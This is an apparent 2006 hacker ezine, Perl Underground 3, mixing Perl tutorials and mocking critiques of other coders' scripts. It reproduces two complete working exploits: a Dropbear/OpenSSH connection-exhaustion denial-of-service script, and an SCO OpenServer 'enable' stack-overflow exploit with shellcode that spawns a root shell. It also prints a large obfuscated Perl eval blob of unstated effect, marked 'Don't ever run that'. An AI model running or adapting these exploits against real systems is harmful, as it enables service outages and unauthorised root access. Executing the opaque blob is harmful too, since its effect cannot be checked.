查看完整版本: [ezine] Perl Underground 3

[ezine] Perl Underground 3

信息来源：milw0rm.com


            $$$$$$$$$   $$$$$$$$$$$   $$$$$$$$$   $$$$                  
            $$$$$$$$$$$   $$$$$$$$$$$   $$$$$$$$$$$   $$$$                  
            $$$$   $$$$       $$$$   $$$$   $$$$   $$$$                  
            $$$$ 3 $$$$       $$$$   $$$$ 3 $$$$   $$$$                  
            $$$$   $$$$   $$$$$$$   $$$$   $$$$   $$$$   3                 
            $$$$$$$$$$$     $$$$$$$   $$$$$$$$$$$   $$$$                  
            $$$$$$$$$$       $$$$   $$$$$$$$$$   $$$$                  
            $$$$           $$$$   $$$$ $$$$   $$$$                  
            $$$$       $$$$$$$$$$$   $$$$   $$$$   $$$$$$$$$$$               
            $$$$       $$$$$$$$$$$   $$$$   $$$$   $$$$$$$$$$$         
         
                                                  
      $$$$   $$$$   $$$$     $$$$   $$$$$$$$$$   $$$$$$$$$$$   $$$$$$$$$$         
      $$$$   $$$$   $$$$$ 3 $$$$   $$$$$$$$$$$   $$$$$$$$$$$   $$$$$$$$$$$$      
      $$$$   $$$$   $$$$$$   $$$$   $$$$   $$$$       $$$$   $$$$   $$$$      
      $$$$ 3 $$$$   $$$$$$$   $$$$   $$$$   $$$$       $$$$   $$$$ 3 $$$$      
      $$$$   $$$$   $$$$ $$$ $$$$   $$$$ 3 $$$$   $$$$$$$   $$$$   $$$$      
      $$$$   $$$$   $$$$ $$$ $$$$   $$$$   $$$$   $$$$$$$   $$$$$$$$$$$$      
      $$$$   $$$$   $$$$   $$$$$$$   $$$$   $$$$       $$$$   $$$$$$$$$$$         
      $$$$   $$$$   $$$$   $$$$$$   $$$$   $$$$       $$$$   $$$$   $$$$         
      $$$$$$$$$$$$$   $$$$ 3 $$$$$   $$$$$$$$$$$   $$$$$$$$$$$   $$$$   $$$$      
      $$$$$$$$$$$   $$$$     $$$$   $$$$$$$$$$   $$$$$$$$$$$   $$$$   $$$$

      
$$$$$$$$$   $$$$$$$$$$     $$$$$$$$$$$   $$$$   $$$$   $$$$     $$$$   $$$$$$$$$$$
$$$$$$$$$$$   $$$$$$$$$$$$   $$$$$$$$$$$$$   $$$$ 3 $$$$   $$$$$ 3 $$$$   $$$$$$$$$$$$
$$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$$$   $$$$   $$$$   $$$$
$$$$ 3 $$$$   $$$$ 3 $$$$   $$$$   $$$$   $$$$   $$$$   $$$$$$$   $$$$   $$$$   $$$$
$$$$       $$$$   $$$$   $$$$ 3 $$$$   $$$$   $$$$   $$$$ $$$ $$$$   $$$$ 3 $$$$
$$$$ $$$   $$$$$$$$$$$$   $$$$   $$$$   $$$$   $$$$   $$$$ $$$ $$$$   $$$$   $$$$
$$$$ 3 $$$$   $$$$$$$$$$$   $$$$   $$$$   $$$$ 3 $$$$   $$$$   $$$$$$$   $$$$   $$$$
$$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$   $$$$$$   $$$$   $$$$
$$$$$$$$$$   $$$$ 3 $$$$   $$$$$$$$$$$$$   $$$$$$$$$$$$$   $$$$ 3 $$$$$   $$$$$$$$$$$$
$$$$$$$$   $$$$   $$$$   $$$$$$$$$$$   $$$$$$$$$$$   $$$$     $$$$   $$$$$$$$$$$

[[email]root@yourbox.anyw[/email]here]$ date
Sun Aug 13 18:16:19 EDT 2006

[[email]root@yourbox.anyw[/email]here]$ perl justlayitout.pl

00. TOC
01. Part One: Summer Time
02. EyeDropper You
03. Another str0ke
04. School You: japhy
05. prdelka's cameo
06. School You: mauke
07. (K-)sPecial boy
08. School You: McDarren
09. Random Noob: Qex
10. School You: xdg
11. Token PHP noob
12. Hello bantown
13. !dSR !good
14. School You: MJD
15. Intermission
16. Part Two: Back to School
17. brian d fucking foy
18. School You: davido
19. Antisec antiperls
20. School You: atcroft
21. Russian for the fall
22. Hello s0ttle
23. RoMaNSoFt is TwEaKy
24. School You: merlyn
25. oh noez spiderz
26. Hello h0no
27. Killer str0ke
28. Shoutz and Outz

[[email]root@yourbox.anyw[/email]here]$ perl rockon.pl

-[0x01] # Part One: Summer Time ------------------------------------------

<nemo> i had to be in a .txt
<nemo> i'm glad it's this one :p
<nemo> and not my ~/

Summer is here in its full joyous being. Let us all relax and enjoy ourselves.
Let us have fun. Write some obfuscations. Play some golf. Write fun code and
have fun coding and critiquing with your friends. Read and laugh. This issue
is less talk and more code. This is Perl Underground 3.

-[0x02] # EyeDropper You -------------------------------------------------

Would you like some cheap 0day obfuscation?

Here you go, sweet-rose.pl

eval eval '"'.


                                            '`'.'\\'.'\\'.('['^'#').
                                            ('^'^('`'|'-')).(('^')^(
                                          '`'|',')).'\\'.'\\'.('['^'#').('^'
                                          ^('`'|'-')).('`'^"\%").'\\'.'\\'.(
                                        '['^'#').('^'^           ('`'|'('
                                        )).('^'^("\`"|           ('*'))).
                                        '\\'.'\\'.     ('['^'#').('^'^(   '`'|',')).
                                        ('^'^('`'|     '.')).'\\'.'\\'.   ('['^'#').
                                      ('^'^('`'|   ')')).('^'           ^('`'|',')
                                      ).'\\'.''.   '\\'.('['^           '#').('^'^
                                    ('`'|'(')).(   '`'^'$')   .'\\'.'\\'     .('['^'#').(
                                    '^'^('`'|','   )).('^'^   ('`'|'.'))     .'\\'.'\\'.(
                                    '['^'#').(   '^'^("\`"|   ',')).("\`"^   '$').('\\').
                                    '\\'.('['^   '#').('^'^   ('`'|')')).(   '^'^('`'|','
                            )).('\\').   '\\'.('['^   '#').("\^"^(           '`'|'(')).('^'
                            ^('`'|'(')   ).'\\'.''.   '\\'.(('[')^           '#').('^'^('`'
                        |',')).('^'^('`'|'.' )).('\\').   '\\'.('['^'#').('^'^('`'|',')).('`'^'&')
                        .'`'.('!'^'+')."\""; $:='.'^'~'   ;$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('
                        ^'}';$\='`'|'!';$:=')'^'}';$~='*'|   '`';$^='+'^'_';$/='&'|'@';$,   ="\["&
                        '~';$\=','^'|';$:='.'^'~';$~="\@"|   '(';$^=')'^'[';$/='`'|'.';$,   ="\("^
                        '}';$\='`'|'!';$:=')'^'}';$~='*'|'`'     ;$^='+'^'_';$/='&'|'@'   ;$,='['&
                        '~';$\=','^'|';$:='.'^'~';$~='@'|'('     ;$^=')'^'[';$/='`'|'.'   ;$,='('^
                        '}';$\='`'|('!');$:=   ')'^'}';$~="\*"|     '`';$^="\+"^     "\_";$/=
                        '&'|'@';$,='['&"\~";   $\=','^('|');$:=     '.'^"\~";$~=     '@'|'(';
                        $^=')'^'[';$/='`'|'.';   $,='('^'}';$\='`'|           '!';$:=')'^'}';$~='*'|'`';
                        $^='+'^'_';$/='&'|'@';   $,='['&'~';$\=','^           '|';$:='.'^'~';$~='@'|'(';
                          $^=')'^'[';$/='`'|'.';$,   ='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|'`';$^='+'^('_');$/=
                          '&'|'@';$,='['&('~');$\=   ','^'|';$:='.'^'~';$~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('
                            ^'}';$\='`'|'!';$:=')'   ^'}';$~='*'|'`';$^='+'^'_';$/='&'|'@';$,   ='['&"\~";
                            $\=','^'|';$:='.'^'~';   $~='@'|'(';$^=')'^'[';$/='`'|'.';$,='('^   '}';$\='`'
                                |'!';$:=')'^"\}";$~=   '*'|'`';$^='+'^'_';$/='&'|'@';$,='['   &'~';$\=','^
                                '|';$:='.'^('~');$~=   '@'|'(';$^=')'^'[';$/='`'|'.';$,='('   ^'}';$\='`'|
                                  '!';$:=')'^'}';$~=   ('*')|     '`';$^='+'^('_');$/=   '&'|'@';$,="\["&
                                  '~';$\=','^'|';$:=   ('.')^     '~';$~='@'|('(');$^=   ')'^'[';$/="\`"|
                                '.';$,='('^'}';$\='`'|   "\!";$:=         (')')^     '}';$~='*'|('`');$^=
                                '+'^'_';$/='&'|'@';$,=   '['&'~';         $\=','     ^'|';$:='.'^"\~";$~=
                                '@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\=         '`'|'!';$:=')'^'}';$~=
                                '*'|'`';$^='+'^'_';$/='&'|'@';$,='['&'~';$\=         ','^'|';$:='.'^'~';$~=
                                '@'|'(';$^=')'^'[';$/='`'|'.';$,='('^'}';$\='`'|'!';$:=')'^'}';$~='*'|'`';$^
                                ='+'^'_';$/='&'|'@';$,='['&'~';$\=','^'|';$:='.'^'~';$~='@'|'(';$^=')'^"\[";
                                $/='`'|'.';$,='('^'}';$\='`'|'!';$:=         (')')^       '}';$~
                                ='*'|'`';$^='+'^'_';$/='&'|('@');$,=         ('[')&       '~';$\
                                  =','^'|';$:='.'^'~';$~='@'|'('
                                  ;$^=')'^'[';$/='`'|'.';$,='('^
                                    '}';$\='`'|'!'     ;($:)=
                                    ')'^'}';$~='*'     |"\`";
                                                $^='+'
                                                ^"\_";
                                                $/='&'
                                                |"\@";
                                                $,='['
                                                &"\~";
                                                $\=','
                                                ^"\|";
                    $: ='.'^'~';$~=('@')|             '(';$^
                    =( ')')^'[';$/=('`')|             '.';$,
                    ='('   ^'}';$\='`'|"\!";$:=         (')')^
                    '}';   $~='*'|'`';$^=('+')^         '_';$/
                  ='&'|"\@";   $,='['&'~';$\=(',')^     '|';$:
                  ='.'^"\~";   $~='@'|'(';$^=(')')^     '[';$/
                    ='`'|'.';$,=   '('^'}';$\='`'|'!'   ;($:)=
                    ')'^"\}";$~=   '*'|'`';$^='+'^'_'   ;($/)=
                        '&'|'@';$,   ='['&'~';$\=   (',')^
                        '|';$:='.'   ^'~';$~='@'|   '(';$^
                          =')'^"\["; $/='`'     |"\.";
                          $,='('^'}' ;($\)=     ('`')|
                '!';$:="\)"^     '}';$~="\*"|   '`';$^='+'^'_';$/='&'|
                '@';$,="\["&     '~';$\="\,"^   '|';$:='.'^'~';$~='@'|
            '(';$^=')'^'[';$/='`'|         '.';$,='('^'}';$\='`'|'!';$:="\)"^
            '}';$~='*'|'`';$^='+'^         '_';$/='&'|'@';$,='['&'~';$\="\,"^
        '|';$:='.'^'~';$~='@'|   '(';$^=')'^'[';$/='`'|   '.';$,='('^'}';$\='`'|'!';
        $:=')'^'}';$~='*'|'`';   $^='+'^'_';$/='&'|'@';   $,='['&'~';$\=','^"\|";$:=
    '.'^'~';$~='@'|'(';$^=   ')'^'[';$/="\`"| '.';$,="\("^   '}';$\='`'|'!';$:=(')')^
    '}';$~='*'|'`';$^='+'^   '_';$/='&'|"\@"; $,='['&"\~";   $\=','^'|';$:='.'^'~';$~
  ='@'|'(';$^=')'^'[';$/   ='`'|'.';$,=('(')^   '}';$\='`'|"\!";   $:=')'^'}';$~=('*')|
  '`';$^='+'^'_';$/='&'|   '@';$,='['&'~';$\=   ','^'|';$:="\."^   '~';$~='@'|('(');$^=
')'^'[';$/='`'|"\.";   $,='('^'}';$\='`'|       '!';$:=')'^'}';$~=   '*'|'`';$^='+'^'_'
;$/='&'|'@';$,="\["&   '~';$\=','^'|';$:=       '.'^'~';$~='@'|'('   ;$^=')'^'[';$/='`'
|'.';$,='('^'}';$\   ='`'|'!';$:=')'^'}';         $~='*'|'`';$^='+'^'_';   $/='&'|'@';$,=
'['&'~';$\=','^'|'   ;$:='.'^'~';$~="\@"|         '(';$^=')'^'[';$/='`'|   '.';$,='('^'}'
;$\='`'|'!';$:   =')'^'}';$~='*'|'`';             $^='+'^'_';$/='&'|'@';   $,='['&"\~";
$\=','^'|';$:=   '.'^'~';$~='@'|"\(";             $^=')'^'[';$/='`'|'.';   $,='('^"\}";
$\='`'|"\!"; $:=')'^'}';$~='*'|                   '`';$^='+'^'_';$/='&'|   "\@";$,=
'['&"\~";$\= ','^'|';$:='.'^'~'                   ;$~='@'|'(';$^=')'^'['   ;$/='`'|
'.';$,='(' ^'}';$\=('`')|                     '!';$:   =')'^'}';$~='*'|   '`';$^
='+'^"\_"; $/='&'|'@';$,=                     ('[')&   '~';$\=','^"\|";   $:='.'
^'~';$~= '@'|'(';$^                         ="\)"^     '[';$/='`'|'.';$,= '('^
"\}";$\= '`'|'!';$:                         ="\)"^     '}';$~='*'|'`';$^= '+'^
'_';$/ ='&'|'@'                             ;($,)=           '['&'~';$\=','
^"\|"; $:="\."^                             '~';$~           ='@'|('(');$^=
')'^ '[';$/                             ="\`"|
'.'; $,='('                             ^"\}";
$\='`'|'!'                               ;($:)=
')'^'}';$~                               ="\*"|
'`';                                 $^='+'
^'_'                                 ;($/)=
                                    ('&')|
                                    '@';$,
                                    ="\["&
                                    '~';$\
                                    ="\,"^
                                    '|';#;

Listen up. Don't ever run that. The obfu is too fu for you.

-[0x03] # Another str0ke -------------------------------------------------

Remember this?

#!/usr/bin/perl
## I needed a working test script so here it is.
## just a keep alive thread, I had a few problems with Pablo's code running properly.
##
## Straight from Pablo Fernandez's advisory:
# Vulnerable code is in svr-main.c
#
# /* check for max number of connections not authorised */
# for (j = 0; j < MAX_UNAUTH_CLIENTS; j++) {
#     if (childpipes[j] < 0) {
#           break;
#     }
# }
#
# if (j == MAX_UNAUTH_CLIENTS) {
#     /* no free connections */
#     /* TODO - possibly log, though this would be an easy way
#       * to fill logs/disk */
#     close(childsock);
#     continue;
# }
## /str0ke (milw0rm.com)

use IO::Socket;
use Thread;
use strict;

# thanks to Perl Underground for my moronic coding style fixes.
my ($serv, $port, $time) = @ARGV;

# str0ke, it has been a pleasure.
# This script now comes across as intelligent and someone might take it seriously.
# Naturally I may have some reservations about some choices, but to each their own.

sub usage
{
  print "\nDropbear / OpenSSH Server (MAX_UNAUTH_CLIENTS) Denial of Service Exploit\n";
  print "by /str0ke (milw0rm.com)\n";
  print "Credits to Pablo Fernandez\n";
  print "Usage: $0 [Target Domain] [Target Port] [Seconds to hold attack]\n";
  exit ();
}

sub exploit
{
  my ($serv, $port, $sleep) = @_;
  my $sock = new IO::Socket::INET ( PeerAddr => $serv,
  PeerPort => $port,
  Proto => 'tcp',
  );

  die "Could not create socket: $!\n" unless $sock;
  sleep $sleep;
  close($sock);
}

sub thread {
  print "Server: $serv\nPort: $port\nSeconds: $time\n";
  for my $i ( 1 .. 51 ) {
    print ".";
    my $thr = new Thread \&exploit, $serv, $port, $time;
  }
  sleep $time; #detach wouldn't be good
}

if (@ARGV != 3){&usage;}else{&thread;}

I have one remaining issue.
This is the one line we harshly criticized that we didn't offer a direct syntax replacement for.
Naturally, you did not do your own research and find out a witty or attractive way to fix that.
This sin, and others, contradict with your pleasant handling of the situation.
I am displeased that you have not made an effort to fix other scripts of yours.
I am curious as to why you removed Perl Underground from your site.
I am curious as to why Perl Underground was on your site for a time in the first place.
I am disappointed that I have not seen more recent Perl from you.
I hope we have not scared you off.
Question weighs more than answer, and your code will be criticized in this issue.

-[0x04] # School You: japhy ----------------------------------------------

"Open, Sesame!"
If you've used Perl for a week, you're probably familiar with the task of opening a file, either to
read from or write to it. Here's a simple refresher course for you -- some of it involves Perl 5.6,
which lets you do some nifty things with open(). There are three basic operations you use a
filehandle for: reading, writing, and appending. You can also read and write (or read and append)
to files, and you can read from to write to a program (from its output, or to its input).

# error-checking would, of course, be used

open FILE, "filename";     # read
open FILE, "< filename";   # read (explicit)
open FILE, "> filename";   # overwrite
open FILE, ">> filename";   # append
open FILE, "+< filename";   # read and write
open FILE, "+> filename";   # read and overwrite (clobber first)
open FILE, "+>> filename"; # read and append
open FILE, "program |";   # read from program
open FILE, "| program";   # write to program
For safety's sake, the explicit forms should always be used, and with a space between the mode and
the filename. Here's an example of why:

chomp(my $filename = <STDIN>);
open FILE, $filename;
This allows the user pass anything from "< /etc/passwd" to "rm -rf / |" to your open() call,
neither of which you'd be too happy to permit. For the same reason, using open(F, ">$filename")
isn't enough either -- the user could slip an extra > in on you and cause you to append, rather
than overwrite.

Perl 5.6 allows an even greater extent of control: a multi-argument form of open():

# open FILEHANDLE, MODE, EXPR

open FILE, "<", $filename; # read from $filename
If you want to pipe to a program, the MODE should be "|-"; if you want to pipe from a program, the
MODE should be "-|". In the case of call programs, you can send a list of arguments after the
program name:

# open FILEHANDLE, MODE, EXPR, LIST

open LS, "-|", "ls", "-R";
That invokes ls with the -R switch (for recursive listing), and returns the output to Perl.

Finally, Perl 5.6 allows you to use an undefined lexical (a my variable) in the place of the
filehandle. This allows you to use filehandles as variables more easily -- using them in objects,
passing them to functions, etc.

for my $f (@listing) {
open my($fh), "<", $f;
push @files, $fh;
}
Obfuscorner
If you only send a filehandle to open(), Perl will look for a package variable (not a lexical) of
the same name, and use the value of that variable as the filename to open. A simple use of this is
to open the program itself; since $0 holds the name of the program, you can simply write:

open 0; # like: open 0, $0
Whose Line Is It, Anyway?
Files are not made up of lines. Files are made up of sequential bytes. A "line" is a made-up
concept which only applies to text files (who cares how many "lines" there are in a JPEG?). The
standard definition of a line is a sequence of zero or more bytes ending with a newline. Whether
that is \n or \r\n or \n\r is up to your OS to decide. But who cares about "lines"? Perl is more
interested in records.

A record is a sequence of bytes separated from other records by some other sequence of bytes. A
"line" is merely a record with a separator \n (or whatever). What good are records, though, if Perl
keeps reading lines? Well, just tell Perl not to read a line!

open FORTUNE, "< /usr/share/games/fortunes/art";
{
local $/ = "\n%\n";
@fortunes = <FORTUNE>;
}
close FORTUNE;
This code makes use of the $/ variable -- the "input record separator" -- to change how much each
read of <FORTUNE> does. Instead of stopping at "\n", it stops at "\n%\n" (the separator of my
computer's fortune files). This means that we can read multiple "lines" at once. In fact, Perl has
two special values of $/ explicitly for that purpose:
Setting $/ to "" causes Perl to use "paragraph" mode; it will read a chunk of lines that is
followed by extra newlines -- in other words, a sequence of bytes ending in two or more newlines.
Setting $/ to undef causes Perl to read the rest of the file all at once.
In addition to the record-separator use of $/, you can set it to a reference to a positive integer,
which means that you will read that many bytes at on each read:

while (read(FILE, $buf, 1024)) { ... }

# is like

{
local $/ = \1024;
while ($buf = <FILE>) { ... }
}
If you're wondering why I continually local()ize $/, it is to make sure that the change to $/ are
restricted to where we want it. We don't want future filehandle-reads to be using the changed
value.

The $/ variable is also used by chomp() -- this function doesn't just remove a newline from the end
of its arguments, it removes the value of $/ from the end of them (if it's there).
Outputting Records
There are a couple of variables related to printing records as well. The $\ variable (the output
record separator) and the $, variable (the output field separator). The mnemonics for these two are
rather simple:
$\ goes where you put a \n in your print()
$, goes where you put a , in your print()
The fact that $\ and $/ share a mirrored character is not a mistake either -- they are related in
that each is the other's opposite.

How are they useful? They let you be obscenely lazy. Let's say you're playing with the /etc/passwd
file:

open PASSWD, "/etc/passwd"
or die "can't read /etc/passwd: $!";
open MOD, "> /etc/weirdpasswd"
or die "can't write to /etc/weirdpasswd: $!";

$\ = $/;   # ORS = IRS = "\n"
$, = ":"; # OFS = ","

while (<PASSWD>) {
chomp; # removes $/ from $_
my @f = split $,; # splits $_ on occurrences of $,
# fool around with @f
print MOD @f;
}

close MOD;
close PASSWD;
If we hadn't set $\ and $, in this code, the output file would have been one long line of fields,
with nothing in between each field, and no way to separate one record from the next. However, since
we have set them, we automatically append $\ to each print() statement, and automatically insert $,
in between each argument to print(). Here's the explicit code that doesn't use these two variables:

while (<PASSWD>) {
chomp;
my @f = split ':';
# fool around with @f
print MOD join(':', @f), "\n";
}
While that may end up being more clear than the other, it's only that way because you've not been
exposed to the variables. I'm sure before you learned how to use $_, your code was a lot more
verbose; but once you embrace that default variable, code like

for my $line (@lines) {
chomp $line;
my @fields = split /=/, $line;
for my $f (@fields) { $f =~ s/->/: /; }
# ...
}
became code like

for (@lines) {
chomp;
my @fields = split /=/;
for (@fields) { s/->/:/ }
# ...
}
It's the same with these other variables.
While We're Being Lazy...
There's no variable that symbolizes the default filehandle to print to -- if you print() with no
filehandle mentioned, Perl assumes you mean to print to STDOUT.

Well, not necessarily. The default output handle can be changed. Its default value is STDOUT, but
you can change that with the select() function:

print "to stdout\n";
my $oldfh = select MOD;
print "to mod\n";
select $oldfh;
print "to stdout\n";
Assuming you start out with STDOUT as your default output handle, the code runs as is described.
The select() function (in the single argument form) takes a filehandle, sets it as the default, and
returns the previously select()ed filehandle.

You can call select() with no arguments, and it will merely return the current default filehandle
(as an information source).
Huffering, Puffering, and Buffering
Another useful filehandle variable is $| the autoflush variable. This variable is unique for each
filehandle -- output to STDERR is flushed automatically, but output to STDOUT is not. This variable
is a true boolean -- it either holds a true value (which gets stored as 1) or a false value (which
gets stored as 0).

Buffering is the process of storing output until a certain condition is reached (such as a newline
is encountered). When a buffer is flushed, its contents are emptied. Where do they go? Well, to the
filehandle proper. A buffer is a temporary holding location between the process generating the
output and the place the output will appear.

Like I said, each filehandle has its own buffer control. To set the autoflush variable for a given
filehandle, you have to use select(), or the standard IO::Handle module's autoflush method.

# turn on autoflushing for OUT
{
my $old = select OUT;
$| = 1;
select $old;
}

# another way, using IO::Handle
use IO::Handle;
autoflush OUT 1;
The IO::Handle module offers many helpful methods for filehandles (which are internally objects of
the IO::Handle class). You might want to see what else it has to offer that you might want to use.

You can make your own per-filehandle variables via the Tie::PerFH module, available on CPAN.
Obfuscorner
In the evil Perl spirit of "there's more than one way to do it", there's an obfuscated way to turn
on autoflushing for a filehandle. It combines the three lines (save the old handle, set $|, restore
the old handle) into one:

select((select(OUT), $|=1)[0]);
The dissection of this code is as follows:
select(OUT) makes OUT the default handle and returns the previous handle
$| = 1 sets autoflush to true, after the select(OUT) has been executed
(select(OUT), $|=1)[0] is a list slice -- it takes the first element of the list (select(OUT),
$|=1), which is the value returned by select(OUT) (the previous filehandle)
select(...) makes that value the default filehandle -- and what is ...? it's the first element of
the list (described above)
Delightfully icky!

Another trick is to take advantage of the fact $| is always either 0 or 1. If it's 0, and you
subtract 1, -1 is transformed into 1. Subtracting 1 again gives you 0 again. Thus, $|-- is a
builtin flip-flop!

# alternate indenting and not indenting lines
for (@data) {
print " " x $|--;
print "$_\n";
}
This doesn't work with $|++... can you see why?
The Magic of <>
The final mystery revealed is a lengthy one. We all know we can read input via <STDIN>. But what
about the mysterious empty diamond operator, <>? What does it do, and how can we interact with its
magic?

The empty diamond operator is related to @ARGV, $ARGV, the ARGV filehandle, the ARGVOUT filehandle,
and $^I. You probably know one of these (@ARGV) already. The others will soon be made clear. First
here's a sample program:

#!/usr/bin/perl -w

# inplace.pl ext code [files]
# ex: inplace.pl .bak '$_ = "" if /^#/' *.pl

use strict;

$^I = shift;
my $code = shift;

while (<>) {
eval $code;
print;
}
All the following symbols are strict-safe.
@ARGV
the list of command-line arguments to your program
when using <>, Perl uses these arguments as sources of input (so you can read from "ls |"!)
if the array is empty to begin with, Perl puts "-" in there, which means "read from STDIN"
when a file is being read, it is removed (shift()ed) from the array
$ARGV
this holds the input source currently begin read from
ARGV
this is the filehandle opened, using $ARGV
ARGVOUT
if $^I is not undef, this is the output filehandle being printed to
it is select()ed automatically
$^I
this is the in-place editing backup extension variable, and can be set from the command-line via
the -i switch
if this isn't undef, the loop will read from ARGV and write to ARGVOUT
if it contains the "*" character, the value is not an extension, but the new name of the file (so
if modifying foo.txt and $^I is "old-*", the backup file is old-foo.txt)
Knowing this, our code can be written rather explicitly. You're about to see why Perl is so nice to
you.

#!/usr/bin/perl -w

use strict;

my $ext = shift;
my $code = shift;

@ARGV = '-' unless @ARGV;

FILE:
while (defined($ARGV = shift)) {
my $backup;

# if we're not working with STDIN...
if ($ARGV ne '-') {
  # get backup filename
  if ($ext =~ /\*/) { ($backup = $ext) =~ s/\*/$ARGV/ }
  else { $backup = "$ARGV$ext" }

  # try renaming file
  rename $ARGV => $backup or
    warn("Can't rename $ARGV to $backup: $!, skipping file.") and
    next FILE;
}

# with STDIN, there's no real backup done
else { $backup = '-' }

open ARGV, "< $backup" or
  warn("Can't open $backup: $!") and
  next FILE;

# if we're not dealing with STDIN,
# but $backup is $ARGV, we're doing real
# in-place editing, so we use a Unix trick:
#   * open the file for reading
#   * unlink it
#   * open the file for writing
# this is a miracle, but it fails in DOS :(

if ($backup ne '-' and $backup eq $ARGV) {
  unlink $backup or
    warn("Can't remove $backup: $!, skipping file.") and
    next FILE;
}

open ARGVOUT, "> $ARGV" or
  warn("(panic) Can't write $ARGV: $!, skipping file.") and
  next FILE;

while (<ARGV>) {
  eval $code;
  print ARGVOUT;
}

close ARGVOUT;
# note: we don't close ARGV!
}
Aren't you glad Perl does all that hard work for you?

Now that you know about these symbols, you can use some of them to your advantage. Here's a bit of
code that prints each line of input with the source and the line number in front of it. Notice,
though, that since the code that Perl uses never closes ARGV, the $. variable never gets reset to
0. That means the line count keeps increasing:

while (<>) {
print "$ARGV ($.): $_";
}
If we have two files, a.txt and b.txt whose contents are "abc\ndef\nghi\n" and "jkl\nmno\n"
respectively, this program outputs:


a.txt (1): abc
a.txt (2): def
a.txt (3): ghi
b.txt (4): jkl
b.txt (5): mno
Now, what if we want the line number to be reset for each new file? We need to be able to detect
the end of the file. We can do that with the eof() function! There are two ways we can use the
function for detecting the end of each input:

while (<>) {
print "$ARGV ($.): $_";
close ARGV if eof; # reset $.
}

# or

while (<>) {
print "$ARGV ($.): $_";
close ARGV if eof(ARGV); # reset $.
}
If you don't use any parentheses, and don't send an argument, Perl will check the last filehandle
read from. If you send an argument, it checks that filehandle. "But japhy! What about eof()?" you
ask? Well, that's a very special case. If you want to know when you've reached the end of all the
input, you can use eof():

while (<>) {
print "$ARGV ($.): $_";
print "==end==\n" if eof(); # after ALL data
}
Lazy Loops
In addition to the -i switch, Perl offers switches like -n and -p, which construct loops around the
source of your code:

perl -ne 'print if /foo/' files
# becomes
perl -e 'while (<>) { print if /foo/ }' files

perl -pe 's/foo/bar/' files
# becomes
perl -e 'while (<>) { s/foo/bar/ } continue { print }' files
You can use -p with -i to write a simple one-liner file editor:

# keep backups
perl -pi.bak -e 's/PERL/Perl/g' files

# don't keep backups
perl -pi -e 's/PERL/Perl/g' files
Why do you think you have to say -pi -e, and can't use -pie?
References
Using files:
open(): perldoc -f open
close(): perldoc -f close
select(): perldoc -f select
eof(): perldoc -f eof
overview: perldoc perlopentut
File-specific variables:
$/, $\, $|, $,, $.: perldoc perlvar
chomp(): perldoc -f chomp
the IO::Handle module: perldoc IO::Handle
<> magic:
the -i, -n, and -p switches: perldoc perlrun

-[0x05] # prdelka's cameo ------------------------------------------------

# This is a very boring and straight-forward script to ridicule.
# However, we had a personal request for prdelka.
# prdelka sticks to what he knows, and his code is a bit elusive these days.
# Perl Underground always seeks to please.

#!/usr/bin/perl

# This is almost strict compliant.
# Push yourself to new heights and learn to use it!

# SCO Openserver 5.0.7 enable exploit
# ===================================
# A standard stack-overflow exists in the handling of
# command line arguements in the 'enable' binary. A user
# must be configured with the correct permissions to
# use the "enable" binary. SCO user documentation suggests
# "You can use the asroot(ADM) command. In order to grant a
# user the right to enable and disable tty devices". This
# exploit assumes you have those permissions.
#
# Example.
#
# $ id
# uid=200(user) gid=50(group) groups=50(group)
# $ perl enablex.pl
# # id
# uid=0(root) gid=50(group) egid=18(lp) groups=50(group)
#
# - prdelka

# The intense complexities of this program demanded an example.

my $buffer;
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
# .= is unneeded when the variable has no original contents to add to.
$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";
# my $buffer = "\x90" x 52;
# Save some effort.

$buffer .="\x90\x90\x90\x90\x90\x90\x90\x90\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16";
$buffer .="\x31\xc0\x50\x68";
$buffer .="/ksh";
$buffer .="\x68";
$buffer .="/bin";
$buffer .="\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6";
for($i = 0;$i <= 7782;$i++)
# for (0 .. 7782) { }
{
    $buffer .= "A";
# $buffer .= 'A' x 7782; # To skip your loop entirely!
}

$buffer .= "\x3f\x60\x04\x08";

# my $buffer = "\x90" x 52 . "\x68\xff\xf8\xff\x3c\x6a\x65\x89\xe6\xf7\x56\x04\xf6\x16\x31\xc0\x50\x68"
#       . "/ksh\x68/bin\x89\xe3\x50\x50\x53\xb0\x3b\xff\xd6" . 'A' x 7782 . "\x3f\x60\x04\x08";

system("/tcb/bin/asroot","enable",$buffer);
# You are free to add spacing between your parameters, or any other applicable place as suits your aesthetics.

# You used 20 lines of comments for what was essentially a two statement script.
# You spread those two statements into 15 awkward lines.

-[0x06] # School You: mauke ----------------------------------------------

#line 2 "unip.pl"
use strict;
use Irssi ();

our $VERSION = '0.03';
our %IRSSI = (
  authors => 'mauke',
  name => 'unip',
);

use 5.008;
use Encode qw/decode encode_utf8/;
use Unicode::UCD 'charinfo';

sub unip {
  my @pieces = map split, @_;
  my @output;
  for (@pieces) {
    $_ = "0x$_" if !s/^[Uu]\+/0x/ and /[A-Fa-f]/ and /^[[:xdigit:]]{2,}\z/;
    $_ = oct if /^0/;
    unless (/^\d+\z/) {
        eval {
          my $tmp = decode(length > 1 ? 'utf8' : 'iso-8859-1', "$_", 1);
          length($tmp) == 1 or die "`$_' is not numeric, conversion to unicode failed";
          $_ = ord $tmp;
        };
        if ($@) {
          (my $err = $@) =~ s/ at .* line \d+.*\z//s;
          push @output, $err;
          next;
        }
    }
    my $utf8r = encode_utf8(chr);
    my $utf8 = join ' ', unpack 'C*', $utf8r;
    my $x;
    unless ($x = charinfo $_) {
        push @output, sprintf "U+%X (%s): no match found", $_, $utf8;
        next;
    }
    push @output, "U+$x->{code} ($utf8): $x->{name} [$utf8r]";
  }

  join '; ', @output
}

Irssi::command_bind(
  unip => sub {
    my ($data, $server, $witem) = @_;
    $server->command("echo " . unip $data);
  },
);
Irssi::command_bind(
  sunip => sub {
    my ($data, $server, $witem) = @_;
